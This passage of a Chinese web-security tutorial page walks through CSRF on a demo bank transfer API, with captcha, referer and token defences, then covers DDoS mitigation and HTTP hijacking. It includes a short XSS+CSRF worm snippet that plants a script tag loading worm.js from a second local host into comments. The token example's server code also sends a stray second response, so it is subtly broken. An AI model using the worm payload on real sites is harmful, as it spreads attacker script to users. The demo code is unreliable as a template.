app.post(<span class="hljs-string">&apos;/api/transfer&apos;</span>, <span class="hljs-function"><span class="hljs-keyword">function</span> (<span class="hljs-params">req, res</span>) </span>{
    <span class="hljs-keyword">let</span> { target, amount } = req.body;
    amount = <span class="hljs-built_in">isNaN</span>(amount) ? <span class="hljs-number">0</span> : <span class="hljs-built_in">Number</span>(amount);
    <span class="hljs-keyword">let</span> { username } = userSessions[req.cookies.sessionId];
    <span class="hljs-keyword">if</span> (username) {
        <span class="hljs-keyword">let</span> user;
        <span class="hljs-keyword">for</span> (<span class="hljs-keyword">let</span> i = <span class="hljs-number">0</span>; i &lt; users.length; i++) {
            <span class="hljs-keyword">if</span> (username == users[i].username) {
                users[i].money -= amount;
            } <span class="hljs-keyword">else</span> <span class="hljs-keyword">if</span> (target == users[i].username) {
                users[i].money += amount;
            }
        }
        res.json({ <span class="hljs-attr">code</span>: <span class="hljs-number">0</span> });
    } <span class="hljs-keyword">else</span> {
        res.json({ <span class="hljs-attr">code</span>: <span class="hljs-number">1</span>, <span class="hljs-attr">error</span>: <span class="hljs-string">&apos;&#x7528;&#x6237;&#x6CA1;&#x6709;&#x767B;&#x5F55;&apos;</span> });
    }
})
</code></pre>
<h3 id="t142.2 &#x9632;&#x5FA1;">2.2 &#x9632;&#x5FA1; <a href="#t142.2 &#x9632;&#x5FA1;"> # </a></h3>
<ul>
<li>&#x7528;&#x6237;&#x4E0D;&#x77E5;&#x60C5;  &#x9A8C;&#x8BC1;&#x7801; &#x5F71;&#x54CD;&#x7528;&#x6237;&#x4F53;&#x9A8C; </li>
<li>&#x8DE8;&#x7AD9;&#x8BF7;&#x6C42; &#x4F7F;&#x7528;refer&#x9A8C;&#x8BC1; &#x4E0D;&#x53EF;&#x9760;</li>
<li>&#x53C2;&#x6570;&#x4F2A;&#x9020; token &#x6700;&#x4E3B;&#x6D41;&#x7684;&#x9632;&#x5FA1;CSRF</li>
</ul>
<h4 id="t152.2.1  &#x9A8C;&#x8BC1;&#x7801;">2.2.1  &#x9A8C;&#x8BC1;&#x7801; <a href="#t152.2.1  &#x9A8C;&#x8BC1;&#x7801;"> # </a></h4>
<p>server.js</p>
<pre><code class="lang-js"><span class="hljs-keyword">var</span> svgCaptcha = <span class="hljs-built_in">require</span>(<span class="hljs-string">&apos;svg-captcha&apos;</span>);
app.get(<span class="hljs-string">&apos;/api/captcha&apos;</span>, <span class="hljs-function"><span class="hljs-keyword">function</span> (<span class="hljs-params">req, res</span>) </span>{
    <span class="hljs-keyword">let</span> session = userSessions[req.cookies.sessionId];
    <span class="hljs-keyword">if</span> (session) {
        <span class="hljs-keyword">var</span> codeConfig = {
            <span class="hljs-attr">size</span>: <span class="hljs-number">5</span>,<span class="hljs-comment">// &#x9A8C;&#x8BC1;&#x7801;&#x957F;&#x5EA6;</span>
            ignoreChars: <span class="hljs-string">&apos;0o1i&apos;</span>, <span class="hljs-comment">// &#x9A8C;&#x8BC1;&#x7801;&#x5B57;&#x7B26;&#x4E2D;&#x6392;&#x9664; 0o1i</span>
            noise: <span class="hljs-number">2</span>, <span class="hljs-comment">// &#x5E72;&#x6270;&#x7EBF;&#x6761;&#x7684;&#x6570;&#x91CF;</span>
            height: <span class="hljs-number">44</span>
        }
        <span class="hljs-keyword">var</span> captcha = svgCaptcha.create(codeConfig);
        session.captcha = captcha.text.toLowerCase(); <span class="hljs-comment">//&#x5B58;session&#x7528;&#x4E8E;&#x9A8C;&#x8BC1;&#x63A5;&#x53E3;&#x83B7;&#x53D6;&#x6587;&#x5B57;&#x7801;</span>
        res.send({ <span class="hljs-attr">code</span>: <span class="hljs-number">0</span>, <span class="hljs-attr">captcha</span>: captcha.data });
    } <span class="hljs-keyword">else</span> {
        res.json({ <span class="hljs-attr">code</span>: <span class="hljs-number">1</span>, <span class="hljs-attr">data</span>: <span class="hljs-string">&apos;&#x6CA1;&#x6709;&#x8BE5;&#x7528;&#x6237;&apos;</span> });
    }
});
</code></pre>
<p>bank.html</p>
<pre><code class="lang-js">&lt;div <span class="hljs-class"><span class="hljs-keyword">class</span></span>=<span class="hljs-string">&quot;form-group&quot;</span>&gt;
    <span class="xml"><span class="hljs-tag">&lt;<span class="hljs-name">label</span> <span class="hljs-attr">for</span>=<span class="hljs-string">&quot;captcha&quot;</span> <span class="hljs-attr">id</span>=<span class="hljs-string">&quot;captcha&quot;</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">label</span>&gt;</span></span>
    &lt;input id=<span class="hljs-string">&quot;captcha&quot;</span> <span class="hljs-class"><span class="hljs-keyword">class</span></span>=<span class="hljs-string">&quot;form-control&quot;</span> placeholder=<span class="hljs-string">&quot;&#x8BF7;&#x8F93;&#x5165;&#x9A8C;&#x8BC1;&#x7801;&quot;</span>&gt;
<span class="xml"><span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span></span>


 $.get(<span class="hljs-string">&apos;/api/captcha&apos;</span>).then(<span class="hljs-function"><span class="hljs-params">data</span> =&gt;</span> {
    <span class="hljs-keyword">if</span> (data.code == <span class="hljs-number">0</span>) {
        $(<span class="hljs-string">&apos;#captcha&apos;</span>).html(data.captcha);
    } <span class="hljs-keyword">else</span> {
        alert(<span class="hljs-string">&apos;&#x7528;&#x6237;&#x672A;&#x767B;&#x5F55;&apos;</span>);
        location.href = <span class="hljs-string">&apos;/login.html&apos;</span>;
    }
});
</code></pre>
<h4 id="t162.2.2 refer &#x9A8C;&#x8BC1;">2.2.2 refer &#x9A8C;&#x8BC1; <a href="#t162.2.2 refer &#x9A8C;&#x8BC1;"> # </a></h4>
<pre><code class="lang-js"> <span class="hljs-keyword">let</span> referer = req.headers[<span class="hljs-string">&apos;referer&apos;</span>];
    <span class="hljs-keyword">if</span> (<span class="hljs-regexp">/^https?:\/\/localhost:3000/</span>.test(referer)) {

    } <span class="hljs-keyword">else</span> {
        res.json({ <span class="hljs-attr">code</span>: <span class="hljs-number">1</span>, <span class="hljs-attr">error</span>: <span class="hljs-string">&apos;referer&#x4E0D;&#x6B63;&#x786E;&apos;</span> });
    }
</code></pre>
<h4 id="t172.2.3 token&#x9A8C;&#x8BC1;">2.2.3 token&#x9A8C;&#x8BC1; <a href="#t172.2.3 token&#x9A8C;&#x8BC1;"> # </a></h4>
<p>bank.html</p>
<pre><code class="lang-js"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">getClientToken</span>(<span class="hljs-params"></span>) </span>{
            <span class="hljs-keyword">let</span> result = <span class="hljs-built_in">document</span>.cookie.match(<span class="hljs-regexp">/token=([^;]+)/</span>);
            <span class="hljs-keyword">return</span> result ? result[<span class="hljs-number">1</span>] : <span class="hljs-string">&apos;&apos;</span>;
        }
<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">transfer</span>(<span class="hljs-params">event</span>) </span>{
            event.preventDefault();
            <span class="hljs-keyword">let</span> target = $(<span class="hljs-string">&apos;#target&apos;</span>).val();
            <span class="hljs-keyword">let</span> amount = $(<span class="hljs-string">&apos;#amount&apos;</span>).val();
            <span class="hljs-keyword">let</span> captcha = $(<span class="hljs-string">&apos;#captcha&apos;</span>).val();
            $.post(<span class="hljs-string">&apos;/api/transfer&apos;</span>, {
                target,
                amount,
                captcha,
                <span class="hljs-attr">clientToken</span>: getClientToken()
            }).then(<span class="hljs-function"><span class="hljs-params">data</span> =&gt;</span> {
                <span class="hljs-keyword">if</span> (data.code == <span class="hljs-number">0</span>) {
                    alert(<span class="hljs-string">&apos;&#x8F6C;&#x8D26;&#x6210;&#x529F;&apos;</span>);
                    location.reload();
                } <span class="hljs-keyword">else</span> {
                    alert(<span class="hljs-string">&apos;&#x7528;&#x6237;&#x672A;&#x767B;&#x5F55;&apos;</span>);
                    location.href = <span class="hljs-string">&apos;/login.html&apos;</span>;
                }
            });
}
</code></pre>
<p>server.js</p>
<pre><code class="lang-js">app.post(<span class="hljs-string">&apos;/api/transfer&apos;</span>, <span class="hljs-function"><span class="hljs-keyword">function</span> (<span class="hljs-params">req, res</span>) </span>{
    <span class="hljs-comment">// let referer = req.headers[&apos;referer&apos;];</span>
    <span class="hljs-comment">//if (/^https?:\/\/localhost:3000/.test(referer)) {</span>
    <span class="hljs-keyword">let</span> { target, amount, clientToken, captcha } = req.body;
    amount = <span class="hljs-built_in">isNaN</span>(amount) ? <span class="hljs-number">0</span> : <span class="hljs-built_in">Number</span>(amount);
    <span class="hljs-keyword">let</span> { username, token } = userSessions[req.cookies.sessionId];
    <span class="hljs-keyword">if</span> (username) {
        <span class="hljs-keyword">if</span> (clientToken == token) {
            <span class="hljs-keyword">let</span> user;
            <span class="hljs-keyword">for</span> (<span class="hljs-keyword">let</span> i = <span class="hljs-number">0</span>; i &lt; users.length; i++) {
                <span class="hljs-keyword">if</span> (username == users[i].username) {
                    users[i].money -= amount;
                } <span class="hljs-keyword">else</span> <span class="hljs-keyword">if</span> (target == users[i].username) {
                    users[i].money += amount;
                }
            }
            res.json({ <span class="hljs-attr">code</span>: <span class="hljs-number">0</span> });
        } <span class="hljs-keyword">else</span> {
            res.json({ <span class="hljs-attr">code</span>: <span class="hljs-number">1</span>, <span class="hljs-attr">error</span>: <span class="hljs-string">&apos;&#x8FDD;&#x6CD5;&#x64CD;&#x4F5C;&apos;</span> });
        }
    } <span class="hljs-keyword">else</span> {
        res.json({ <span class="hljs-attr">code</span>: <span class="hljs-number">1</span>, <span class="hljs-attr">error</span>: <span class="hljs-string">&apos;&#x7528;&#x6237;&#x6CA1;&#x6709;&#x767B;&#x5F55;&apos;</span> });
    }
    <span class="hljs-comment">//} else {</span>
    res.json({ <span class="hljs-attr">code</span>: <span class="hljs-number">1</span>, <span class="hljs-attr">error</span>: <span class="hljs-string">&apos;referer&#x4E0D;&#x6B63;&#x786E;&apos;</span> });
    <span class="hljs-comment">//}</span>
})
</code></pre>
<h4 id="t182.2.4 xss+csrf(&#x8815;&#x866B;)">2.2.4 xss+csrf(&#x8815;&#x866B;) <a href="#t182.2.4 xss+csrf(&#x8815;&#x866B;)"> # </a></h4>
<p>&#x4E0D;&#x65AD;&#x4F20;&#x64AD;&#x7684;xss+csrf&#x653B;&#x51FB; 
worm.js</p>
<pre><code class="lang-js"><span class="hljs-keyword">const</span> attack = <span class="hljs-string">&apos;&lt;script src=&quot;http://localhost:3001/worm.js&quot;&gt;&lt;/script&gt;&apos;</span>;
$.post(<span class="hljs-string">&apos;/api/comments&apos;</span>, { <span class="hljs-attr">content</span>: <span class="hljs-string">&apos;haha&apos;</span> + attack });
</code></pre>
<h2 id="t193. DDOS&#x653B;&#x51FB;">3. DDOS&#x653B;&#x51FB; <a href="#t193. DDOS&#x653B;&#x51FB;"> # </a></h2>
<p>&#x5206;&#x5E03;&#x5F0F;&#x62D2;&#x7EDD;&#x670D;&#x52A1;(Distribute Denial Of Service)</p>
<ul>
<li>&#x9ED1;&#x5BA2;&#x63A7;&#x5236;&#x5927;&#x91CF;&#x7684;&#x8089;&#x9E21;&#x5411;&#x53D7;&#x5BB3;&#x4E3B;&#x673A;&#x53D1;&#x9001;&#x975E;&#x6B63;&#x5E38;&#x8BF7;&#x6C42;&#xFF0C;&#x5BFC;&#x81F4;&#x76EE;&#x6807;&#x4E3B;&#x673A;&#x8017;&#x5C3D;&#x8D44;&#x6E90;&#x4E0D;&#x80FD;&#x4E3A;&#x5408;&#x6CD5;&#x7528;&#x6237;&#x63D0;&#x4F9B;&#x670D;&#x52A1;</li>
<li>&#x9A8C;&#x8BC1;&#x7801;&#x662F;&#x6211;&#x4EEC;&#x5728;&#x4E92;&#x8054;&#x7F51;&#x5341;&#x5206;&#x5E38;&#x89C1;&#x7684;&#x6280;&#x672F;&#x4E4B;&#x4E00;&#x3002;&#x4E0D;&#x5F97;&#x4E0D;&#x8BF4;&#x9A8C;&#x8BC1;&#x7801;&#x662F;&#x80FD;&#x591F;&#x6709;&#x6548;&#x5730;&#x9632;&#x6B62;&#x591A;&#x6B21;&#x91CD;&#x590D;&#x8BF7;&#x6C42;&#x7684;&#x884C;&#x4E3A;&#x3002;</li>
<li>&#x9650;&#x5236;&#x8BF7;&#x6C42;&#x9891;&#x7387;&#x662F;&#x6211;&#x4EEC;&#x6700;&#x5E38;&#x89C1;&#x7684;&#x9488;&#x5BF9; DDOS &#x653B;&#x51FB;&#x7684;&#x9632;&#x5FA1;&#x63AA;&#x65BD;&#x3002;&#x5176;&#x539F;&#x7406;&#x4E3A;&#x8BBE;&#x7F6E;&#x6BCF;&#x4E2A;&#x5BA2;&#x6237;&#x7AEF;&#x7684;&#x8BF7;&#x6C42;&#x9891;&#x7387;&#x7684;&#x9650;&#x5236;</li>
<li>&#x589E;&#x52A0;&#x673A;&#x5668;&#x589E;&#x52A0;&#x670D;&#x52A1;&#x5E26;&#x5BBD;&#x3002;&#x53EA;&#x8981;&#x8D85;&#x8FC7;&#x4E86;&#x653B;&#x51FB;&#x6D41;&#x91CF;&#x4FBF;&#x53EF;&#x4EE5;&#x907F;&#x514D;&#x670D;&#x52A1;&#x762B;&#x75EA;</li>
<li>&#x8BBE;&#x7F6E;&#x81EA;&#x5DF1;&#x7684;&#x4E1A;&#x52A1;&#x4E3A;&#x5206;&#x5E03;&#x5F0F;&#x670D;&#x52A1;&#xFF0C;&#x9632;&#x6B62;&#x5355;&#x70B9;&#x5931;&#x6548;</li>
<li>&#x4F7F;&#x7528;&#x4E3B;&#x6D41;&#x4E91;&#x7CFB;&#x7EDF;&#x548C; CDN&#xFF08;&#x4E91;&#x548C; CDN &#x5176;&#x81EA;&#x8EAB;&#x6709; DDOS &#x7684;&#x9632;&#x8303;&#x4F5C;&#x7528;&#xFF09;</li>
<li>&#x4F18;&#x5316;&#x8D44;&#x6E90;&#x4F7F;&#x7528;&#x63D0;&#x9AD8; web server &#x7684;&#x8D1F;&#x8F7D;&#x80FD;&#x529B;</li>
</ul>
<h2 id="t204. HTTP&#x52AB;&#x6301;">4. HTTP&#x52AB;&#x6301; <a href="#t204. HTTP&#x52AB;&#x6301;"> # </a></h2>
<ul>
<li>&#x5728;&#x7528;&#x6237;&#x7684;&#x5BA2;&#x6237;&#x7AEF;&#x4E0E;&#x5176;&#x8981;&#x8BBF;&#x95EE;&#x7684;&#x670D;&#x52A1;&#x5668;&#x7ECF;&#x8FC7;&#x7F51;&#x7EDC;&#x534F;&#x8BAE;&#x534F;&#x8C03;&#x540E;&#xFF0C;&#x4E8C;&#x8005;&#x4E4B;&#x95F4;&#x5EFA;&#x7ACB;&#x4E86;&#x4E00;&#x6761;&#x4E13;&#x7528;&#x7684;&#x6570;&#x636E;&#x901A;&#x9053;&#xFF0C;&#x7528;&#x6237;&#x7AEF;&#x7A0B;&#x5E8F;&#x5728;&#x7CFB;&#x7EDF;&#x4E2D;&#x5F00;&#x653E;&#x6307;&#x5B9A;&#x7F51;&#x7EDC;&#x7AEF;&#x53E3;&#x7528;&#x4E8E;&#x63A5;&#x6536;&#x6570;&#x636E;&#x62A5;&#x6587;&#xFF0C;&#x670D;&#x52A1;&#x5668;&#x7AEF;&#x5C06;&#x5168;&#x90E8;&#x6570;&#x636E;&#x6309;&#x6307;&#x5B9A;&#x7F51;&#x7EDC;&#x534F;&#x8BAE;&#x89C4;&#x5219;&#x8FDB;&#x884C;&#x5206;&#x89E3;&#x6253;&#x5305;&#xFF0C;&#x5F62;&#x6210;&#x8FDE;&#x7EED;&#x6570;&#x636E;&#x62A5;&#x6587;&#x3002;</li>
<li>&#x7528;&#x6237;&#x7AEF;&#x63A5;&#x6536;&#x5230;&#x5168;&#x90E8;&#x62A5;&#x6587;&#x540E;&#xFF0C;&#x6309;&#x7167;&#x534F;&#x8BAE;&#x6807;&#x51C6;&#x6765;&#x89E3;&#x5305;&#x7EC4;&#x5408;&#x83B7;&#x5F97;&#x5B8C;&#x6574;&#x7684;&#x7F51;&#x7EDC;&#x6570;&#x636E;&#x3002;&#x5176;&#x4E2D;&#x4F20;&#x8F93;&#x8FC7;&#x7A0B;&#x4E2D;&#x7684;&#x6BCF;&#x4E00;&#x4E2A;&#x6570;&#x636E;&#x5305;&#x90FD;&#x6709;&#x7279;&#x5B9A;&#x7684;&#x6807;&#x7B7E;&#xFF0C;&#x8868;&#x793A;&#x5176;&#x6765;&#x6E90;&#x3001;&#x643A;&#x5E26;&#x7684;&#x6570;&#x636E;&#x5C5E;&#x6027;&#x4EE5;&#x53CA;&#x8981;&#x5230;&#x4F55;&#x5904;&#xFF0C;&#x6240;&#x6709;&#x7684;&#x6570;&#x636E;&#x5305;&#x7ECF;&#x8FC7;&#x7F51;&#x7EDC;&#x8DEF;&#x5F84;&#x4E2D;ISP&#x7684;&#x8DEF;&#x7531;&#x5668;&#x4F20;&#x8F93;&#x63A5;&#x529B;&#x540E;&#xFF0C;&#x6700;&#x7EC8;&#x5230;&#x8FBE;&#x76EE;&#x7684;&#x5730;&#xFF0C;&#x4E5F;&#x5C31;&#x662F;&#x5BA2;&#x6237;&#x7AEF;&#x3002;</li>
<li>HTTP&#x52AB;&#x6301;&#x662F;&#x5728;&#x4F7F;&#x7528;&#x8005;&#x4E0E;&#x5176;&#x76EE;&#x7684;&#x7F51;&#x7EDC;&#x670D;&#x52A1;&#x6240;&#x5EFA;&#x7ACB;&#x7684;&#x4E13;&#x7528;&#x6570;&#x636E;&#x901A;&#x9053;&#x4E2D;&#xFF0C;&#x76D1;&#x89C6;&#x7279;&#x5B9A;&#x6570;&#x636E;&#x4FE1;&#x606F;&#xFF0C;&#x63D0;&#x793A;&#x5F53;&#x6EE1;&#x8DB3;&#x8BBE;&#x5B9A;&#x7684;&#x6761;&#x4EF6;&#x65F6;&#xFF0C;&#x5C31;&#x4F1A;&#x5728;&#x6B63;&#x5E38;&#x7684;&#x6570;&#x636E;&#x6D41;&#x4E2D;&#x63D2;&#x5165;&#x7CBE;&#x5FC3;&#x8BBE;&#x8BA1;&#x7684;&#x7F51;&#x7EDC;&#x6570;&#x636E;&#x62A5;&#x6587;&#xFF0C;&#x76EE;&#x7684;&#x662F;&#x8BA9;&#x7528;&#x6237;&#x7AEF;&#x7A0B;&#x5E8F;&#x89E3;&#x91CA;&#x201C;&#x9519;&#x8BEF;&#x201D;&#x7684;&#x6570;&#x636E;&#xFF0C;&#x5E76;&#x4EE5;&#x5F39;&#x51FA;&#x65B0;&#x7A97;&#x53E3;&#x7684;&#x5F62;&#x5F0F;&#x5728;&#x4F7F;&#x7528;&#x8005;&#x754C;&#x9762;&#x5C55;&#x793A;&#x5BA3;&#x4F20;&#x6027;&#x5E7F;&#x544A;&#x6216;&#x8005;&#x76F4;&#x63A5;&#x663E;&#x793A;&#x67D0;&#x7F51;&#x7AD9;&#x7684;&#x5185;&#x5BB9;&#x3002;</li>
</ul>
<h2 id="t21&#x53C2;&#x8003;">&#x53C2;&#x8003; <a href="#t21&#x53C2;&#x8003;"> # </a></h2>
<ul>
<li><a href="https://gitee.com/zhufengpeixun/zf-safe">zf-safe</a></li>
</ul>

        <div class="copyright">Powered by <a href="https://github.com/jaywcjlove/idoc" target="_blank">idoc</a>. Dependence <a href="https://nodejs.org">Node.js</a> run.</div>
    </div>
    
</div>

<script src="https://cdn.bootcss.com/jquery/3.0.0/jquery.js"></script>
<script>
$('.warpper .page-toc ul ul li a').on('click',function(){
  $('.warpper .page-toc ul ul li a').removeClass('my-active')
  $(this).addClass('my-active')
})
  // if (!$('.understand-me').length) {
  //   var bar = $(window).height() - $('.navbar ').height() - $('.page-toc').position().top;
  //   var count = bar / 26 / 2;
  //   var barHeight = $('.page-toc').outerHeight();
  //   $('.page-toc li').eq(0).children('a').addClass('red');
  //   var arr = [];
  //   $("h1,h2,h3,h4,h5,h6").each(function () {
  //     arr.push($(this).position().top);
  //   });
  //   var timer
  //   function dark() {
  //     clearTimeout(timer)
  //      timer = setTimeout(function () {
  //      var top = Math.abs($('.page-toc > ul').position().top);
  //      var cur = $('.content').scrollTop();
  //      for (var i = arr.length; i >= 0; i--) {
  //        if (arr[i] <= cur) {
  //          break;
  //        }
  //      }
  //      if (i === -1) {
  //        i = 0;
  //      }
  //      $('.page-toc li a').removeClass('red');
  //      $('.page-toc li').eq(i).children('a').addClass('red');
  //      let height = $('.page-toc li').eq(i).position().top-$('.page-toc').height(); // 如果当前的offset出去了 回到中间可好？
  //      $('.page-toc').scrollTop(height+$('.page-toc').height()/2);
  //    },200)
  //   }

  //   $('.content').on('scroll', dark);
  // }
</script>
<style>

    /* ::-webkit-scrollbar{width:14px;}
    ::-webkit-scrollbar-track{background-color:transparent;}
    ::-webkit-scrollbar-thumb{background-color:transparent;}
    ::-webkit-scrollbar-thumb:hover {background-color:transparent}
    ::-webkit-scrollbar-thumb:active {background-color:transparent} */

    .page-toc > ul .red {
        background: #f3f3f3;
        z-index: 1;
        border-left: 3px solid #009a61;
        -webkit-transition: all .2s ease;
        transition: all .2s ease;
        color: #000
    }





</style>
</body>
</html>
